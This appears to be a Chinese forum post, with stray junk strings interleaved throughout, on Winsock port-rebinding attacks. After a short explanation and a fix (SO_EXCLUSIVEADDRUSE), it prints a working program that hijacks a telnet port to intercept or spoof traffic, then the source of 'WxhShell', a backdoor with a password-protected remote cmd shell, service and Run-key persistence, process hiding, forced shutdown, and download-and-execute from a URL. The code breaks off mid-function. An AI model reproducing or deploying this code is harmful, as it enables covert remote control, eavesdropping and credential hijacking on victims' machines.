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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: S#+ _HFUK{ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); K24y;968 Q4ii25]* saddr.sin_family = AF_INET; IP !zg|c, /Jk.b/t.*S saddr.sin_addr.s_addr = htonl(INADDR_ANY); %iV\nFal> $\4O r bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); qy\SOAh E.VEW;= 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /KvpJ4 TKw>eGe 这意味着什么?意味着可以进行如下的攻击: QIN# \ Grd9yLF 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `n|k+tsC IfRrl/!nw 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $[=`*m ?K}KSJ6_ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 JLyFkV/
OK}8BY 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 gJOswN;([ U8g? 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 CA"`7<, 0XIrEwm@% 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Xw^:<Nx: DUm/0q& 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 QQ,w:OjA0 )>=|oY3 #include )^^}!U#|e #include iN`L* h #include ER$~kFE2yP #include kS7T'[d DWORD WINAPI ClientThread(LPVOID lpParam); }>j1j^c1=' int main() ?~Vev D { T5U(B3j_ WORD wVersionRequested; H
@E-=Ly DWORD ret; 8J9o$Se WSADATA wsaData; {24Pv#ZG#^ BOOL val; .Qj`_q6= SOCKADDR_IN saddr; 0Zl1(;hx@ SOCKADDR_IN scaddr; i%B$p0U< int err; tQ?}x#J SOCKET s; \=~<I SOCKET sc; gwF@'Uu int caddsize; !lB,2_ HANDLE mt; 9=~jKl%\vJ DWORD tid; )=D9L wVersionRequested = MAKEWORD( 2, 2 ); 7
~ Bo*UM err = WSAStartup( wVersionRequested, &wsaData ); wY}+d0Ch if ( err != 0 ) { Ki@8 printf("error!WSAStartup failed!\n"); Ix5yQgnB}j return -1; 0MzHr2?'P } l}c<eEfOy" saddr.sin_family = AF_INET; `wG&Cy]v 55|$Imnf //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 g(;ejKSR ln!KL'T] saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); }mJ)gK5b 6 saddr.sin_port = htons(23); X}bgRzj if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) DFjkp;`1 { tv|=`~Y printf("error!socket failed!\n"); )Zm E" return -1; Bp6Evi } -XY]WWlq val = TRUE; ||,;07 //SO_REUSEADDR选项就是可以实现端口重绑定的 &c@I4RV|q if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) TT&!WbA-Hk { Ap> n4~ printf("error!setsockopt failed!\n"); AAl`bhx'n return -1; "ChBcxvxb: } z?YGE iR/} //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; eZJOI1wNp //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 i|d41u;@ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 y.eBFf y.oJzU[p% if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) MDCf(LhEH { a+BA~|u^ ret=GetLastError(); Em.? printf("error!bind failed!\n"); W]*wxzf!5z return -1; =XS'V* } wYawG$@_ listen(s,2); p9sxA|O=y
while(1) :3Jh f$ { I5"=b}V5 caddsize = sizeof(scaddr); {DO9{96w4 //接受连接请求 0UB'6wRVo sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); XKK*RVs# if(sc!=INVALID_SOCKET) <(t<gS # { JT-Zo OZ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Cw2+@7?| if(mt==NULL) n*xNMw1x"T { aY+>85?g printf("Thread Creat Failed!\n"); Zj<T#4?8 break; Q\z*q,^R } MR6vr.~ } JuI,wA CloseHandle(mt); 4'8.f5 } / q!&I closesocket(s); aH#|LrdJ WSACleanup(); nBj7 Q!lW return 0; J)[(4R> } ozo8 Tr DWORD WINAPI ClientThread(LPVOID lpParam) 6u7HO-aa { sR0nY8@F SOCKET ss = (SOCKET)lpParam; WL~`L!_. A SOCKET sc; DpR%s",Q unsigned char buf[4096]; d16PY_ SOCKADDR_IN saddr; \ d;Ow8%d/ long num; LMDa68 s DWORD val; 8+ W^t I DWORD ret; Zn!SHj //如果是隐藏端口应用的话,可以在此处加一些判断 #WG(V%f] //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 OWkK]O saddr.sin_family = AF_INET; {gn[
&\ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @'y"D saddr.sin_port = htons(23); i
xyjl[G if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) m1hf[cg { `jkn*:m printf("error!socket failed!\n"); }bTMeCgI return -1; ,5*4%*n\ } #75;%a8 val = 100; \#}%E h
b if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ),Rj@52l { *dl@)~i ret = GetLastError(); ,O+7nByi[V return -1; 1$W!<:uh } ~}11 6K if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) M/qiA.C@W { N@>S>U8C ret = GetLastError(); EIfrZg7R return -1; IR&u55#I6 } EKf4f^< if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 3WYW]) { V+q RDQ printf("error!socket connect failed!\n"); >4E,_ `3N closesocket(sc); P;/T`R=Vr" closesocket(ss); '$VR_N\ return -1; hg~fFj3ST } ]=3O,\ while(1) J @fE") { 4SrK]+| //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 k|D!0^HE[ //如果是嗅探内容的话,可以再此处进行内容分析和记录 VGq]id{*$ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 pf_ /jR num = recv(ss,buf,4096,0); gr=`_k4~1 if(num>0) XTJ>y@ send(sc,buf,num,0); vX\e*
v else if(num==0) >vU
Hf`4T break; 1DP)6{x num = recv(sc,buf,4096,0); yN.D(ZwF: if(num>0) GdU
W$. send(ss,buf,num,0); ,L;vN6~ else if(num==0) ;<A/e break; Vmc)or*# } ZJ(!jc$"*% closesocket(ss); Ymu=G3- closesocket(sc); 11sW$@xs
9 return 0 ; $\
'\@3o } p3o?_ !Z _u>>+6,p |*5nr5c_L ========================================================== 4#w^PM8} qu%s 7+ 下边附上一个代码,,WXhSHELL kR]SxG9 2cg z
n@ ========================================================== CmOb+:4@K Ul
Iw&U #include "stdafx.h" +q$|6? 8rYK~Sz #include <stdio.h> %-Z~f~<? #include <string.h> fL;p^t u3 #include <windows.h> ULjzhy+(8 #include <winsock2.h> jHCKV #include <winsvc.h> |_*$+ #include <urlmon.h> Kc0OLcu^d
P+0xi #pragma comment (lib, "Ws2_32.lib") [4j;FN Fa #pragma comment (lib, "urlmon.lib") o{p_s0IX;S 3XtGi<u #define MAX_USER 100 // 最大客户端连接数 9_3M}|V$^e #define BUF_SOCK 200 // sock buffer &?6w2[} #define KEY_BUFF 255 // 输入 buffer \tx/!tA {)qP34rM #define REBOOT 0 // 重启 ~tvoR&{I #define SHUTDOWN 1 // 关机 ~~,<+X: >lmL #define DEF_PORT 5000 // 监听端口 P1n@E*~V5 _O%p{t'q< #define REG_LEN 16 // 注册表键长度 DG=Ap:sl*$ #define SVC_LEN 80 // NT服务名长度 ]o$/xP rUjr'O0 // 从dll定义API Pa +BE[z typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D$E9%'ir typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `t&;Yk]-L typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); C5UDez typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S+Yg!RrNqj ;g
jp&g9Q // wxhshell配置信息 6,1|y%(f struct WSCFG { C6~dN&q int ws_port; // 监听端口 /p0LtUMu char ws_passstr[REG_LEN]; // 口令 bf/loMtD int ws_autoins; // 安装标记, 1=yes 0=no di2=P)3 char ws_regname[REG_LEN]; // 注册表键名 Y;Gm, char ws_svcname[REG_LEN]; // 服务名 Zd ,= char ws_svcdisp[SVC_LEN]; // 服务显示名 V bOLTc char ws_svcdesc[SVC_LEN]; // 服务描述信息 {2^@jD char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9AzGk=^
int ws_downexe; // 下载执行标记, 1=yes 0=no j:3Hm0W3 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" h+D=/:B char ws_filenam[SVC_LEN]; // 下载后保存的文件名 YWrY{6M Cl!jK^AbG }; {1|7N
GQ ,&]`
b#Rc // default Wxhshell configuration V JL;+ struct WSCFG wscfg={DEF_PORT, t}*!UixE "xuhuanlingzhe", (t$/G3E 1, +Uq:sfj, "Wxhshell", 1C=P #MU` "Wxhshell", FSs$ ]
d; "WxhShell Service", P'9io!Z-s "Wrsky Windows CmdShell Service", WI_mJ/2 "Please Input Your Password: ", Y26l,XIV 1, `0|&T;7 " http://www.wrsky.com/wxhshell.exe", L$Ar]O) "Wxhshell.exe" J6D$ i+ }; -U[`pUY?f ilpZ/Rs // 消息定义模块 )%w8>1}c char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; DW&')gfQ char *msg_ws_prompt="\n\r? for help\n\r#>"; yuDd%
1k char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; q.Z#7~6`3 char *msg_ws_ext="\n\rExit."; u#k,G` char *msg_ws_end="\n\rQuit."; AiK4t- char *msg_ws_boot="\n\rReboot..."; BrMp_M char *msg_ws_poff="\n\rShutdown..."; Q$/F gS
char *msg_ws_down="\n\rSave to "; ky$:C,1t w]o5L char *msg_ws_err="\n\rErr!"; TJS1,3< char *msg_ws_ok="\n\rOK!"; wg0.i?R-] <L/vNP char ExeFile[MAX_PATH]; M;V#Gm int nUser = 0; $'{`i5XB HANDLE handles[MAX_USER]; vqz#V=J{ int OsIsNt; -01 1U! t0d '> SERVICE_STATUS serviceStatus; {}&f\6OI% SERVICE_STATUS_HANDLE hServiceStatusHandle; E/$@ud|l" LE80`t>M# // 函数声明 *1S.9L int Install(void); _|wY[YJ[ int Uninstall(void); x~Ly$A2p int DownloadFile(char *sURL, SOCKET wsh); 4eL54).1O int Boot(int flag); 8;f<q u|w void HideProc(void); PG[O?l int GetOsVer(void); {)9HS~e T int Wxhshell(SOCKET wsl); N<"6=z@w+ void TalkWithClient(void *cs); RdvTtXg int CmdShell(SOCKET sock); 6ri?y=-c int StartFromService(void); c&?a,fpb int StartWxhshell(LPSTR lpCmdLine); m3Z}eC8LK X8n/XG ~_ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &t|V:_?/x VOID WINAPI NTServiceHandler( DWORD fdwControl ); AYu'ptDNr as|c`4r\O // 数据结构和表定义 ;6
6_G Sjz SERVICE_TABLE_ENTRY DispatchTable[] = }rA+W-7 { .P:f {wscfg.ws_svcname, NTServiceMain}, .O%1)p {NULL, NULL} $F`<&o }; )bXx9,VL akc"}+-oX // 自我安装 h)l&K%4; int Install(void) fQTA@WAr { n5*{hi char svExeFile[MAX_PATH]; cU5"c)$' HKEY key; 2T(,H.O strcpy(svExeFile,ExeFile); IQi[g~E.5 QD;f~fZ // 如果是win9x系统,修改注册表设为自启动 (6#yw`\ if(!OsIsNt) {
1C,C) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pM'IQ3N RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5v>{Z0TE[6 RegCloseKey(key); 6|>\&Y!Q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9H, &nET RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &G@-yQ RegCloseKey(key); .Lr)~ return 0; G<^]0`"+)t } :UDn^(# } cYWy\+ } OQL09u else {
b~Pxgfu" :Nj`_2 // 如果是NT以上系统,安装为系统服务 h;ol" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /$Tl# if (schSCManager!=0) Sd<@X@iU8D { Fx[A8G SC_HANDLE schService = CreateService o=RqegL ( _`X#c-J schSCManager, YK?*7 wscfg.ws_svcname, jPYe_y wscfg.ws_svcdisp, O*J_+6 SERVICE_ALL_ACCESS, Xlqz8cI SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T^%n!t SERVICE_AUTO_START, sAD P~xvU
SERVICE_ERROR_NORMAL, K)Xs L svExeFile, W]yClx \ NULL, _]D#)-uv}C NULL, ;4/dk_~p] NULL, /@:up+$ NULL, nc\C4g NULL
kF+ }.x% ); >xZhK63C/ if (schService!=0) <`p75B { APtselC CloseServiceHandle(schService); 7tfivIj)e CloseServiceHandle(schSCManager); !,6v=n[Nz strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _D2bGZN strcat(svExeFile,wscfg.ws_svcname); n:bB$Ai2 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [6_Du6\h RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -Nlf~X RegCloseKey(key); 8pq-nuf|K return 0; lA.;ZD! } ^0s\/qyqm } J%\~<_2ny CloseServiceHandle(schSCManager); @`kiEg'Q } +i`Q 7+d } :<t{ =0G 8G5)o` return 1; Nr]8P/[~ } yK&*,J
| ANFg]g.Az // 自我卸载 NO+
55n int Uninstall(void) {n'qKurxY { GIRSoRVsh HKEY key; /J[H5uA uFm+Y]h if(!OsIsNt) { iO9nvM< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KYkS6|A RegDeleteValue(key,wscfg.ws_regname); L*UV RegCloseKey(key); I| W'n-4Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /Oggt^S RegDeleteValue(key,wscfg.ws_regname); %7NsBR!y RegCloseKey(key); W<rTq0~$? return 0; 2GiUPtO&Gj } FM9X}%5nu9 } :PFx& } %l8*t$8 else { S7UZGGjTk ib(>vp$V SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "^9[OgE: if (schSCManager!=0) C?[a3rNH( { B|Fl,55 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); cZDxsd] if (schService!=0) 9RCO|J { dcl.wD0~V if(DeleteService(schService)!=0) {
e'~-`Z9-) CloseServiceHandle(schService); /]/>jz> CloseServiceHandle(schSCManager); (@KoqwVWc return 0; |%'6f}fnE } Q$|^~ CloseServiceHandle(schService); R,x> $n } jJ*@5?A CloseServiceHandle(schSCManager); XdGpW } J7'f@X~nM } X!7VyE+n m feMmKFu\ return 1; HBh` 2Q } mFqSD " K 8&{= // 从指定url下载文件 <$i"zb int DownloadFile(char *sURL, SOCKET wsh) @%EE0)IA { XOysgX0g HRESULT hr; 861i3OXVE> char seps[]= "/"; 0^GbpSW{ char *token; ;m@1Ec@*p char *file; 2SDh0F char myURL[MAX_PATH]; \Y!T>nWn)I char myFILE[MAX_PATH]; lX98"} ]a$Wxvgq strcpy(myURL,sURL); Dd!Sr8L[ token=strtok(myURL,seps);
eeW' [ while(token!=NULL) LbJtpwz>z { 0$eyT-:d file=token; ~9JW#HHzn token=strtok(NULL,seps); F . K2 } 5l41Q ~lzdbX GetCurrentDirectory(MAX_PATH,myFILE); lQV|U;~D strcat(myFILE, "\\"); _ yfdj[Ot` strcat(myFILE, file); X5uS>V%/ send(wsh,myFILE,strlen(myFILE),0); ] vC=.&] send(wsh,"...",3,0); 1Yc%0L( hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); hD nM+4D if(hr==S_OK) _\
. return 0; <u/a`E? else {fog<1c return 1; U/T4i# xT9Yes& } H-eEhI(;O u.Mqj"o\ // 系统电源模块 c%|vUAq* int Boot(int flag) cI*KRCU { IK*oFo{C=K HANDLE hToken; "| Kf'/r TOKEN_PRIVILEGES tkp; \*f;!{P{ az0cS*@ if(OsIsNt) { Vh"MKJ'R^ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9o-!ecx} LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); kWB, ;7 tkp.PrivilegeCount = 1; Ya}T2VX tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3g4e']t AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); / Zo~1q if(flag==REBOOT) { >f&xJq if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) a
@6^8B?w; return 0; G/v|!}?wG } ds-
yif6 else { SHMl%mw if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :e1'o return 0; ^9&b+u=X } Da"yZ\4 } nIf N" else { !8.En8Z<D- if(flag==REBOOT) { B{s]juPG if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?qk@cKS return 0; :3JCvrq } n
vm^k else { mO#I nTO if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]#F q>E return 0; %$Aqbd } t,RyeS/ } sz'p3 |<sf:#YzY& return 1; K!GUv{fp } S[vRw]* JW=uK$s O // win9x进程隐藏模块 Yt -W1vl void HideProc(void) @4;&hP2Z: { @gNpJB]V h~ $& HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K}
+S+
*_ if ( hKernel != NULL ) S|HY+Z6n' { Ba<ngG
! pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); SU/G)&Mi ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Q~phGD3!~ FreeLibrary(hKernel); SaCx)8ul0 } AWO0NWTB PC|'yAN:
return; C5Xof|#p| } h%'
N hV [q'eENG // 获取操作系统版本 v{o? #Sk1 int GetOsVer(void) g^jJ8k,7( { ~]&B>q OSVERSIONINFO winfo; A^-iHm winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `aIG;@Z GetVersionEx(&winfo); /J;;|X#P if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {B3(HiC return 1; H"_v+N5= else KGu= ; return 0; `qE4U4 } J;~E<_"Hn N r<9u$d9= // 客户端句柄模块 z=qWJQ int Wxhshell(SOCKET wsl) mmHJh\2v { V~85oUc\- SOCKET wsh; GA\2i0ow struct sockaddr_in client; .:8[wI_f DWORD myID; mH)OB?+lq GMBJjP&R] while(nUser<MAX_USER) /jR8|sb { pajy#0 U int nSize=sizeof(client); G.Tpl-m wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !3h{lEB if(wsh==INVALID_SOCKET) return 1; Je^Y&a~ vevf[eO- handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4f!dYo4L if(handles[nUser]==0) DcN"=Y closesocket(wsh); 'j }g else ehE-SrkU' nUser++; -,^WaB7u\ } ;}D-:J-z_ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y:.?5KsPI !N1J@LT5h return 0; SiV*WxQe } VG)="g[%) uJY.5w // 关闭 socket S6GMUaR void CloseIt(SOCKET wsh) Wab.|\c { 8b7;\C~$p closesocket(wsh); eQ<xp A nUser--; OF8WDo` ExitThread(0); 12lEs3 } 4:U0f;Fs dKm`14f]@G // 客户端请求句柄 Jn*Nao_) void TalkWithClient(void *cs) _s*!
t { i:d`{kJ|[ $T),DUYO SOCKET wsh=(SOCKET)cs; p.C1 nh char pwd[SVC_LEN]; cz#_<8'N char cmd[KEY_BUFF]; Fj^AWv^/ char chr[1]; '00J~j~ int i,j; #/+I*B*y y@3kU*-1 while (nUser < MAX_USER) { akC>s8tqlA )Oiev u_"| if(wscfg.ws_passstr) { b+Vi3V if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @h#Xix7 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~M*gsW$ //ZeroMemory(pwd,KEY_BUFF); y"-{$ N
i=0; b
=b: while(i<SVC_LEN) { VhvTBo<cw @8zT'/$ // 设置超时 dF
e4K" fd_set FdRead; ]RD5Ex!K? struct timeval TimeOut; GJ `UO FD_ZERO(&FdRead); 1i'Zei) FD_SET(wsh,&FdRead); JpK[&/Ct TimeOut.tv_sec=8; +_~,86 TimeOut.tv_usec=0; OR;&TbWF(R int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _R74/| if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E0YU[([G eu9w|g if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X`1p'JD pwd =chr[0]; t#5:\U5r. if(chr[0]==0xd || chr[0]==0xa) { TEWAZVE* pwd=0; Pbe7SRdr^ break; <tuS,. } lsY `c"NW> i++; ln#\sA?iG } &SmXI5>Bo0 U:n*<l-k} // 如果是非法用户,关闭 socket EkZjO Ci if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); K]<u8eF } b[srG6{ & o1k#."wHr send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); QKccrAo send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FJwt?3\u5 7`fY*O6 while(1) { Dtt-|_EMS X*O9JGh ZeroMemory(cmd,KEY_BUFF); !M(:U,?B 0`n
5x0R // 自动支持客户端 telnet标准 fY_%33_I$ j=0; TwFb%YM while(j<KEY_BUFF) { Z`s!dV]e9 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )6{P8k4Zr cmd[j]=chr[0]; 1lcnRHO if(chr[0]==0xa || chr[0]==0xd) { lKWr=k~ cmd[j]=0; <*Ub2B[m break; .C= I^ } e$|VG*
d j++; o&$hYy"<.L } fHfY}BQS y5u\j{?Te // 下载文件 )gXTRkmw if(strstr(cmd,"http://")) { _~A~+S} send(wsh,msg_ws_down,strlen(msg_ws_down),0); DYRE1! if(DownloadFile(cmd,wsh)) A1-qtAO] send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZEGd4_ux else Y<Q\d[3^F send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G{o+R]Us } z+/LS5$ else { }OrYpZob /DO'IHC.o switch(cmd[0]) { 0S.?E.-&0 "={L+di:M // 帮助 v!trsjb case '?': { `?uPn~,e8 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +< KNY break; FH*RU1Z } ]XUSqai // 安装 l1<?ONB.# case 'i': { GwQn;gkF if(Install()) $]*d#`Sy{% send(wsh,msg_ws_err,strlen(msg_ws_err),0); r)b<{u=] else 54q3R`y send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }q'WC4. break; GuO`jz F } f1Zt?= // 卸载 kCA5|u case 'r': { cNj*E
=~; if(Uninstall()) io4aYB\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); &Rp"rMeW
else O&'/J8 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q4wc-s4RN break; q#vlBL } ,%hj cGX11 // 显示 wxhshell 所在路径 w^o}E)O case 'p': { uRQ_'l char svExeFile[MAX_PATH]; K"l0w**Og# strcpy(svExeFile,"\n\r"); /2@["*^$ strcat(svExeFile,ExeFile); I7mG/ send(wsh,svExeFile,strlen(svExeFile),0); <zfKC break; F_ljx } U)[ty@zyF // 重启 y $V[_TN case 'b': { 2jA%[L9d^ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]US[5)EL- if(Boot(REBOOT)) %;O}FyP send(wsh,msg_ws_err,strlen(msg_ws_err),0); / L~u02? else {
}B ff,q closesocket(wsh); U8O(;+ ExitThread(0); 70Ka! } 3ATjsOL break; `|<+ ? } (~()RkT // 关机 Vk7=7%xW case 'd': { <4mQ*6 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f0oek{ if(Boot(SHUTDOWN)) Kx6y"
{me| send(wsh,msg_ws_err,strlen(msg_ws_err),0); R8<eN9bJ9 else { iV
hJH4 closesocket(wsh); j|K.i/ ExitThread(0); &U&%ka<* } iZ;TYcT break; @2e2^8X7f } Pp_V5,i\ // 获取shell 9Nt3Z>d case 's': { \9/1L?@ CmdShell(wsh); /cY^]VLe closesocket(wsh); ($WE=biZ& ExitThread(0); 7co`Zw4}g break; d^84jf.U } OD+5q(!"a // 退出 P(h5=0`*PR case 'x': { G|9B)`S send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +t]Xj1Q CloseIt(wsh); 3s(Ia^ break; v8@eW.I1 } Sz0+<F#5 // 离开 .nZ3kT` case 'q': { qY(:8yC36 send(wsh,msg_ws_end,strlen(msg_ws_end),0); T9)wj][ . closesocket(wsh); ,7,;twKz WSACleanup(); m0( E kK exit(1); #Lka+l;L7 break; i'tp1CI } SRz&Nb } TzM=LvA } 2QayM?k8 e.;M.8N#SQ // 提示信息 )U(u>SV(\ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :oa9#c`L } Y<LNQ]8\G } h&'=F)5 1D{#rA.X return; -M61Mw1 } LprM ;Q_ =!
mJG // shell模块句柄 P5URvEnz: int CmdShell(SOCKET sock) Q_4Zb { OE"<!oIs STARTUPINFO si; ((MLM3zJ ZeroMemory(&si,sizeof(si)); PXEKV0y si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WE.Tuo5L si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; GGE[{Gb9 PROCESS_INFORMATION ProcessInfo; 6
=gp:I char cmdline[]="cmd"; . U/k<v<)6 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G5c7:iGm/c return 0; ~_ P YNY`" } Tsz
NlRxc jA`a/vWu // 自身启动模式 W_<4WG int StartFromService(void) iBvOJs { ty-
r& typedef struct y/R+$h(% { 0.DQO; DWORD ExitStatus; s4,(26y DWORD PebBaseAddress; $D_HZ"ytu DWORD AffinityMask; a[C&e,)} DWORD BasePriority; "!q?P"
@C ULONG UniqueProcessId; bK=c@GXS ULONG InheritedFromUniqueProcessId; PDC]wZd/ } PROCESS_BASIC_INFORMATION; -g~~] K% Z"tQpJg PROCNTQSIP NtQueryInformationProcess; B8~=RmWLl pFIecca w static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8:{q8xZ=k static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6tdI6 )N)ljA3] HANDLE hProcess; (I=6Nnt' PROCESS_BASIC_INFORMATION pbi; ;[Tyt[
{L9yhYw HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");
